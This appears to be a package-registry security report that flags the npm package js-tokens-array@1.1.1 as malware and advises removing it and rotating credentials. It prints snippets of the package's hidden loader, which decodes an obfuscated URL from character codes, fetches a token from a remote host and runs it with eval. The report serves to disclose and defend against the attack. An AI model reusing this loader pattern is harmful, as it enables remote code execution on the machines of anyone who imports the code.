registry / Remote code execution / js-tokens-array

js-tokens-array

js tokens array

This report shows the evidence for js-tokens-array@1.1.1. 2 of 2 known versions are blocked or flagged. See all versions.

AI Security Review

scanned 2mo ago · by lpm-firewall-ai

This is an import-time remote code execution loader with an intentionally obscured endpoint. It is concrete malicious behavior, regardless of the absence of lifecycle scripts.

Static reason

No blocking static signals were detected.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review

Trigger

Importing or requiring the package entrypoint.

Impact

Arbitrary remote code execution in the consumer process.

Mechanism

Obfuscated remote payload fetch followed by eval.

Attack narrative

The entrypoint calls getToken immediately. It decodes a remote URL from numeric character codes, fetches JSON from that server, extracts token, and passes it to eval. The server can therefore change the executed code after publication without changing the package tarball.

AI rationale

This is an import-time remote code execution loader with an intentionally obscured endpoint. It is concrete malicious behavior, regardless of the absence of lifecycle scripts.

Evidence

package.jsonindex.js

Network endpoints1

access-token-delta.vercel.app/

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

On import, the package fetches a remote response and executes its token field with eval.
The remote URL is hidden as character codes and resolves to https://access-token-delta.vercel.app/.

Evidence against

The manifest contains no npm lifecycle scripts.
The inspected code shows no direct credential harvesting or local file writes, but remote code can add either behavior.

Behavioral surface

Source

EvalNetwork

Supply chainNo supply-chain packaging signals triggered.

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 509 B of source

Source & flagged code

5 flagged

index.jsView file

•matchType = normalized_sha256 matchedPackage = common-array-token@1.0.0 matchedPath = index.js matchedIdentity = npm:Y29tbW9uLWFycmF5LXRva2Vu:1.0.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

index.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = a7d6221d2b66ecbb signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = common-array-token@1.0.0 matchedPath = index.js matchedIdentity = npm:Y29tbW9uLWFycmF5LXRva2Vu:1.0.0 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

index.jsView on unpkg

10const { token } = await (await fetch(String.fromCharCode(...array))).json(); console.log(token) eval(token)

High

Ai Review Evidence

On import, the package fetches a remote response and executes its token field with eval.

index.jsView on unpkg · L10

3const array = [ 104, 116, 116, 112, 115, 58, 47, 47, 97, 99, 99, 101, 115, 115, 45, 116, 111, 107, 101, 110, 45, 100, 101, 108, 116, 97, 46, 118, 101, 114, 99, 101, 108, 46, 97, 112, 112, 47 ] const { token } = await (await fetch(String.fromCharCode(...array))).json();

High

Ai Review Evidence

The remote URL is hidden as character codes and resolves to https://access-token-delta.vercel.app/.

index.jsView on unpkg · L3

11console.log(token) L12: eval(token) L13:

Low

Eval

Package source references a known benign dynamic code generation pattern.

index.jsView on unpkg · L11

Source & flagged code

5 flagged · loading source

index.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

index.jsView on unpkg

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

index.jsView on unpkg

10const { token } = await (await fetch(String.fromCharCode(...array))).json(); console.log(token) eval(token)

High

Ai Review Evidence

On import, the package fetches a remote response and executes its token field with eval.

index.js

Findings

4 High1 Medium1 Low

HighKnown Malware Source Similarityindex.js

HighKnown Malware Source Fingerprint Signatureindex.js

HighAi Review Evidenceindex.js

MediumNetwork

LowEvalindex.js

Affected versions and remediation

This report applies to js-tokens-array@1.1.1.

The versions list below shows the verdict for each recorded version.

Avoid installing js-tokens-array@1.1.1. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-08-29 02:30:11.877Z (UTC).

Source advisory published: 2026-08-29 02:14:09.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

2 known versions

1.1.1latestshownMaliciousRemote Code ExecutionBlockPublishedAug 26, 2026, 8:27 PM 1.0.0MaliciousMalwareBlockPublishedAug 26, 2026, 8:24 PM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other remote code execution packages

Behavioral surface

Related packages

Other remote code execution packages

Source & flagged code